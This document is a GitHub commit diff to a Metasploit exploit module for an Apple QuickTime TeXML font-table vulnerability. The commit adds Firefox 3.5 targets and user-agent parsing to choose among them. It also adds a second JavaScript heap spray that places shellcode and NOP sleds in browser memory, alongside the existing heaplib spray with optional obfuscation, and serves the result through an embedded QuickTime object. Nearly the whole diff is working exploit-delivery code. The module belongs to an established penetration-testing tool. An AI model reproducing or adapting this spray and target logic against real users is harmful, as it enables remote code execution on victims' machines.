Skip to content

Commit 4c9b8d4

Browse files
author
jvazquez-r7
committed
targets updated
1 parent 52ff38a commit 4c9b8d4

File tree

1 file changed

+42
-19
lines changed

1 file changed

+42
-19
lines changed

modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb

Lines changed: 42 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -16,10 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
1616
autopwn_info({
1717
:os_name => OperatingSystems::WINDOWS,
1818
:javascript => true,
19-
:rank => NormalRanking,
20-
:ua_name => HttpClients::IE,
21-
:ua_minver => "6.0",
22-
:ua_maxver => "7.0"
19+
:rank => NormalRanking
2320
})
2421

2522
def initialize(info = {})
@@ -65,8 +62,8 @@ def initialize(info = {})
6562
# Tested with QuickTime 7.7.2
6663
[ 'Automatic', {} ],
6764
[ 'IE 6 on Windows XP SP3', {} ],
68-
[ 'IE 7 on Windows XP SP3', {} ],
69-
[ 'IE 7 on Windows Vista', {} ]
65+
[ 'Firefox 3.5 on Windows XP SP3', {} ],
66+
[ 'Firefox 3.5.1 on Windows XP SP3', {} ]
7067
],
7168
'Privileged' => false,
7269
'DisclosureDate' => 'Nov 07 2012',
@@ -83,9 +80,18 @@ def get_target(agent)
8380
return target if target.name != 'Automatic'
8481

8582
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
86-
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
8783

88-
ie_name = "IE #{ie}"
84+
browser_name = ""
85+
if agent =~ /MSIE/
86+
browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
87+
browser_name = "IE #{browser_version}"
88+
elsif agent =~ /Firefox\/3.5$/
89+
browser_name = "Firefox 3.5 "
90+
elsif agent =~ /Firefox\/3.5.1$/
91+
browser_name = "Firefox 3.5.1"
92+
elsif agent =~ /Opera\/9/
93+
browser_name = "Opera"
94+
end
8995

9096
case nt
9197
when '5.1'
@@ -97,7 +103,7 @@ def get_target(agent)
97103
end
98104

99105
targets.each do |t|
100-
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
106+
if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
101107
print_status("Target selected as: #{t.name}")
102108
return t
103109
end
@@ -190,7 +196,8 @@ def on_request_uri(client, request)
190196
code = Rex::Text.to_unescape(payload.encoded, arch)
191197

192198
# Spray puts payload on 0x31313131
193-
spray = <<-JS
199+
if my_target.name =~ /IE/
200+
spray = <<-JS
194201
var heap_obj = new heapLib.ie(0x20000);
195202
var code = unescape("#{code}");
196203
var nops = unescape("#{nops}");
@@ -206,15 +213,29 @@ def on_request_uri(client, request)
206213
for (var i=0; i < 1600; i++) {
207214
heap_obj.alloc(block);
208215
}
209-
JS
210-
211-
#Use heaplib
212-
js_spray = heaplib(spray)
213-
214-
#obfuscate on demand
215-
if datastore['OBFUSCATE']
216-
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
217-
js_spray.obfuscate
216+
JS
217+
218+
#Use heaplib
219+
js_spray = heaplib(spray)
220+
221+
#obfuscate on demand
222+
if datastore['OBFUSCATE']
223+
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
224+
js_spray.obfuscate
225+
end
226+
else
227+
js_spray = <<-JS
228+
var shellcode = unescape("#{code}");
229+
var bigblock = unescape("#{nops}");
230+
var headersize = 20;
231+
var slackspace = headersize + shellcode.length;
232+
while (bigblock.length < slackspace) bigblock += bigblock;
233+
var fillblock = bigblock.substring(0,slackspace);
234+
var block = bigblock.substring(0,bigblock.length - slackspace);
235+
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
236+
var memory = new Array();
237+
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
238+
JS
218239
end
219240

220241
content = "<html>"
@@ -226,6 +247,7 @@ def on_request_uri(client, request)
226247
</head>
227248
JSPRAY
228249
content << "<body>"
250+
229251
content << <<-ENDEMBED
230252
<OBJECT
231253
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
@@ -251,6 +273,7 @@ def on_request_uri(client, request)
251273
</EMBED>
252274
</OBJECT>
253275
ENDEMBED
276+
254277
content << "</body></html>"
255278

256279
send_response(client, content, { 'Content-Type' => "text/html" })

0 commit comments

Comments
 (0)